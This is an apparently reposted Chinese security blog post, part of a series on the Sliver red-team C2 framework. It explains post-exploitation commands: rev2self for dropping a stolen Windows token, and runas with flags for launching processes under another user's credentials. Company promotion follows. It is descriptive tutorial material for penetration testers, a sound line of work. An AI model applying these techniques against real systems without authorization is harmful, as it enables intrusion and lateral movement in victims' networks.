LOGON_INTERACTIVE
LOGON_NETWORK
LOGON_BATCH
LOGON_SERVICE
LOGON_UNLOCK
LOGON_NETWORK_CLEARTEXT
LOGON_NEW_CREDENTIALS

rev2self

调用 RevertToSelf ,丢失被盗的令牌。

和 Cobalt Strike 里面的移除当前窃取的令牌一毛一样

rev2self

runas

runas [--username] [--process] [--args]

在指定用户的上下文中允许新进程。

我猜测可能和Windows自带的 runas 有关:

有一些公司里面一些软件需要管理员权限,但域控给这台主机的权限时普通用户,那就会使用 runas 来指定允许某个程序,这个命令是微软自带的,在域环境下也能使用,类似于sudo

参数

-a	进程的位数
-d 用户的域
-n use使用
-P 用户的密码
-p 要启动的进程
-s 登录,但只能在网络上使用指定的凭据。新进程使用与调用相同的令牌,但系统在LSA中创建一个新的登录会话,并且进程使用指定的凭据作为默认凭据
-u 要模拟的用户

其他

还有一些模块内容比较多且复杂,后续慢慢补充

execute-assembly
sideload
Extensions
SpawnDLL
stagers


欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】

#


企业简介   


赛克艾威 - 专注政企安全服务


       北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,具有中国网络安全审查技术与认证中心安全风险评估服务三级资质CCRC,信息安全保障人员资质CISAW(安全评估专家级)。


安全评估|渗透测试|漏洞扫描|安全巡检

代码审计|钓鱼演练|应急响应|安全运维

重大时刻安保|企业安全培训

红队C2工具Sliver(五)| Sliver 后渗透操作

联系方式

电话|010-86460828 

官网|https://sechub.com.cn

红队C2工具Sliver(五)| Sliver 后渗透操作

关注我们

红队C2工具Sliver(五)| Sliver 后渗透操作
红队C2工具Sliver(五)| Sliver 后渗透操作
红队C2工具Sliver(五)| Sliver 后渗透操作

公众号:sechub安全

哔哩号:SecHub官方账号


原文始发于微信公众号(sechub安全):红队C2工具Sliver(五)| Sliver 后渗透操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月19日13:58:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队C2工具Sliver(五)| Sliver 后渗透操作https://cn-sec.com/archives/1806999.html

发表评论

匿名网友 填写信息